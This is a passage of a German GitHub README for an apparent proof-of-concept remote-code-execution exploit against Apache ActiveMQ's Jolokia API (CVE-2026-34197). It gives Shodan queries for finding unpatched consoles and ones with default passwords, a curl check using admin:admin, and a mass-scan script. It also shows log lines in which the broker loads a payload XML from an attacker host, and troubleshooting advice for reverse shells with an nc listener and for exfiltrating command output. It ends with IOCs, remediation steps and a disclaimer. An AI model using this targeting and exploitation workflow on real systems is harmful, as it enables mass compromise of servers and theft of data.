</table>
### Schnelle Shodan-Dorks```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Zielvalidierung```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Die vollständigen Anleitungen findest du in
docs/für versionsspezifische Dorks, Geo-Filter, API-Beispiele, IDS-Regeln und Schritt-für-Schritt-Validierungsworkflows.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Hinweis:** Der `rce*`-Teil enthält zufällige Zeichen (z. B. `rcek4m2x9ab`), da der Exploit die Connector-Namen randomisiert.
### IOCs
| Indikator | Beschreibung |
|-----------|-------------|
| POST `/api/jolokia/` mit `addNetworkConnector` | Exploit-Versuch |
| Ausgehender HTTP-GET vom ActiveMQ-Prozess | Download der Payload-XML |
| Ausgehender HTTP-POST vom ActiveMQ-Prozess (Exfiltration der Befehlsausgabe) | Callback zur Ausgabenerfassung |
| `vm://`-URIs mit `brokerConfig=xbean:http` | Bösartiger Connector |
| Unerwartete Kindprozesse von Java/ActiveMQ (`curl`, `wget`, `bash`) | Befehlsausführung / Ausgabeneexfiltration |
---
## Behebung
| Priorität | Aktion |
|----------|--------|
| **P0** | Upgrade auf ActiveMQ Classic **5.19.4** oder **6.2.3** |
| **P1** | Standard-Anmeldedaten der Web-Konsole ändern |
| **P2** | Netzwerkzugriff auf Port **8161** einschränken |
| **P3** | Broker-Logs auf `vm://`-URIs mit `xbean:http`-Mustern überwachen |
---
## Fehlerbehebung
| Problem | Wahrscheinliche Ursache | Lösung |
|---------|-------------|----------|
| `No payload request received within 15s` | Ziel kann Ihre ATTACKER_IP nicht erreichen | Konnektivität prüfen (siehe [ATTACKER_IP-Anleitung](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | Falsche Anmeldedaten | `--no-auth` versuchen (ActiveMQ 6.0.0-6.1.1) oder korrekte Zugangsdaten finden |
| `Access forbidden (403)` | Jolokia-API ist eingeschränkt | Ziel kann ACLs auf `/api/jolokia/` haben — nicht remote ausnutzbar |
| `Connection error` / `Could not connect` | Ziel ist nicht erreichbar oder Port ist falsch | Prüfen, ob `http://TARGET:8161/` erreichbar ist |
| `Jolokia status=500: could not be registered in JMX` | Vorheriger Exploit-Connector ist noch registriert | Der Exploit versucht es automatisch mit einem neuen zufälligen Namen erneut; einfach nochmal versuchen |
| Reverse Shell verbindet sich nicht | Andere IP in `-l` als im Shell-Befehl, oder Port hört nicht | Gleiche IP überall verwenden; `nc -lvnp PORT` vor dem Exploit starten |
| `No output received within 10s` | Ziel hat kein `curl` und `wget`, oder Befehl hat keine stdout-Ausgabe | RCE hat trotzdem funktioniert — für volle Interaktion eine Reverse Shell verwenden |
| Ausgabenerfassung zeigt leeres Ergebnis | Befehl hat keine Ausgabe erzeugt (z. B. `touch /tmp/test`) | Bei Befehlen ohne stdout erwartbar; mit `ls /tmp/test` zur Überprüfung |
| `OSError: Address already in use` auf Port 8888 | Ein anderer Prozess oder ein früherer Lauf nutzt den Port | `-lp 9999` (oder einen freien Port) verwenden oder den blockierenden Prozess beenden |
| `version_check.py` Phase 1 ist langsam | Zu wenige Threads oder hohe Netzwerklatenz | `--threads 20` oder `--threads 30` erhöhen |
| `version_check.py` zeigt `[VULNERABLE]`, aber Phase 2 schlägt fehl | Ziel kann Ihre IP nicht erreichen, oder Firewall blockiert ausgehendes HTTP | ATTACKER_IP prüfen; für langsame Netzwerke `--wait 30` versuchen |
| `version_check.py` zeigt `No Jolokia` für alle Ziele | Jolokia-API ist deaktiviert oder liegt auf einem nicht standardmäßigen Pfad | Manuell mit `curl -u admin:admin http://TARGET:8161/api/jolokia/` prüfen |
---
## Referenzen
| Ressource | Link |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Technische Analyse](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache Advisory | [Sicherheitshinweis](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| Verwandte CVE | [CVE-2024-32114 — Jolokia No Auth](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| Verwandte CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Haftungsausschluss
> [!WARNING]
> Dieser Proof-of-Concept wird **ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung** bereitgestellt. Die unbefugte Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben, ist **illegal**. Der Autor übernimmt keine Haftung für Missbrauch.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Entwickelt mit Fachwissen von <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>MIT-Lizenz © 2026</sub>
</p>